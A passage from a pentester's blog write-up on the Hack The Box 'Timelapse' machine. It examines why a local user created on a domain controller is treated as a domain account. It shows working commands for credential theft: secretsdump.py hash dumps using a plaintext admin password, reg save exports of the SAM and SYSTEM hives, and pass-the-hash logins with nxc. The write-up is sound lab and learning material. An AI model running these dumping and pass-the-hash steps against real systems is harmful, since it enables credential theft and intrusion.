512          TIMELAPSE\svc_deploy                                                               FALSE     TIMELAPSE  svc_deploy                 FALSE         FALSE    svc_deploy     TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-3103  1        OK
512          TIMELAPSE\TRX                                                                      FALSE     TIMELAPSE  TRX                        FALSE         FALSE    TRX            TRUE                FALSE            TRUE              S-1-5-21-671920749-559770252-3318990721-5101  1        OK
512          TIMELAPSE\jamarir                                                                  FALSE     TIMELAPSE                             FALSE         FALSE    jamarir        TRUE                TRUE             FALSE             S-1-5-21-671920749-559770252-3318990721-8102  1        OK

As we can see, the new local user jamarir created on the DC has its Domain attribute set to TIMELAPSE. And no additional SAM entry was created:

jamarir@kali:~$ secretsdump.py -user-status -history -pwd-last-set 'timelapse.htb/Administrator:/x-r!E56H5@@mVb5dNGLAgPA'@10.10.11.152 -skip-security
[...]
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6b16cb063fdaddb773ba256dd72a14b7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[...]
jamarir:8102:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: (pwdLastSet=<DATE>) (status=Enabled)
[...]

So this NTHash would work domain-wise (NTDS), but not local-wise (SAM):

jamarir@kali:~$ nxc smb 10.10.11.152 -u 'jamarir' -H 'e19ccf75ee54e06b06a5907af13cef42'
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\jamarir:e19ccf75ee54e06b06a5907af13cef42

jamarir@kali:~$ nxc smb 10.10.11.152 -u 'jamarir' -H 'e19ccf75ee54e06b06a5907af13cef42' --local-auth
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:DC01) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [-] DC01\jamarir:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE

And creating a local account on my local Windows machine (that isn’t domain-tied) is automatically typed as local (LocalAccount attribute set to TRUE):

PS C:\Windows\system32> New-LocalUser -Name 'jamarir2' -Password (ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force)
PS C:\Windows\system32> wmic useraccount
AccountType  Caption                       Description                                                                                                  Disabled  Domain     FullName  InstallDate  LocalAccount  Lockout  Name                PasswordChangeable  PasswordExpires  PasswordRequired  SID                                             SIDType  Status   
512          WINDOWS11\Administrateur      Compte d'utilisateur d'administration                                                                        FALSE     WINDOWS11                         TRUE          FALSE    Administrateur      TRUE                FALSE            TRUE              S-1-5-21-1701756317-3397611760-3135624131-500   1        OK
512          WINDOWS11\DefaultAccount      Compte utilisateur géré par le système.                                                                      TRUE      WINDOWS11                         TRUE          FALSE    DefaultAccount      TRUE                FALSE            FALSE             S-1-5-21-1701756317-3397611760-3135624131-503   1        Degraded 
512          WINDOWS11\Invité              Compte d'utilisateur invité                                                                                  TRUE      WINDOWS11                         TRUE          FALSE    Invité              FALSE               FALSE            FALSE             S-1-5-21-1701756317-3397611760-3135624131-501   1        Degraded  
512          WINDOWS11\jamarir                                                                                                                          FALSE     WINDOWS11                         TRUE          FALSE    jamarir             TRUE                FALSE            FALSE             S-1-5-21-1701756317-3397611760-3135624131-1001  1        OK       
512          WINDOWS11\jamarir2                                                                                                                         FALSE     WINDOWS11                         TRUE          FALSE    jamarir2            TRUE                TRUE             FALSE             S-1-5-21-1701756317-3397611760-3135624131-1003  1        OK       
512          WINDOWS11\WDAGUtilityAccount  Compte d'utilisateur géré et utilisé par le système pour les scénarios Windows Defender Application Guard.   TRUE      WINDOWS11                         TRUE          FALSE    WDAGUtilityAccount  TRUE                TRUE             TRUE              S-1-5-21-1701756317-3397611760-3135624131-504   1        Degraded

And naturally, an entry is added into the SAM database in this latest case:

PS C:\Windows\system32> reg save hklm\sam C:\windows\tasks\sam.hive
PS C:\Windows\system32> reg save hklm\system C:\windows\tasks\system.hive
jamarir@kali:~$ secretsdump.py -sam sam.hive -system system.hive LOCAL
[...]
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cdd6b1971f3845cd86fa86db6cc23357:::
jamarir:1001:aad3b435b51404eeaad3b435b51404ee:d1[...]ab:::
jamarir2:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
[*] Cleaning up...

And actually, I already read that in the Microsoft’s documentation while solving the Blackfield boxLSA is automatically forwarding the authentication to SAM for local computers, and DC for domain-joined computers !

Said differently, DCs don’t handle SAM against its locally existing registry database !

0
Subscribe to my newsletter

Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

jamarir
jamarir

Jamaledine AMARIR. Pentester, CTF Player, Game Modding enthusiast | CRTO